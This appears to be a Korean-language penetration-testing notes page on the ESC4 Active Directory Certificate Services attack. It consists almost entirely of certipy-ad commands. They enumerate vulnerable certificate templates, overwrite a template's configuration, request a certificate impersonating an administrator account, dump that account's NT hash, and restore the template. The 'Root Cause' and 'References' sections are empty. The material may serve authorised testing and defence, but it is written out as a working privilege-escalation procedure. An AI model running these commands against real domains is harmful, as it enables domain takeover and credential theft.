ESC4
속성
값
Abuse
# 취약한 템플릿 열거
certipy-ad find -u '<username>' -p '<password>' -dc-ip '<dc-ip>' -vulnerable -stdout -enabled
# 템플릿 속성 변경
certipy-ad template -u '<username@domain>' -p '<password>' -dc-ip '<dc-ip>' -template '<template>' -write-default-configuration
# 템플릿을 통한 인증서 발급
certipy-ad req -u '<username@domain>' -p '<password>' -dc-ip '<dc-ip>' -target '<ca-fqdn>' -ca '<ca-name>' -template '<template>' -upn '<administrator@domain>' -sid '<sid>'
# 인증서로부터 nt해시 덤프
certipy-ad auth -pfx '<pfx>' -dc-ip '<dc-ip>'
# 템플릿 속성 복구
certipy-ad template -u '<username@domain>' -p '<password>' -dc-ip '<dc-ip>' -template '<template>' -write-configuration 'ESC4.json' -no-saveRoot Cause
User ACL Principals

References
Last updated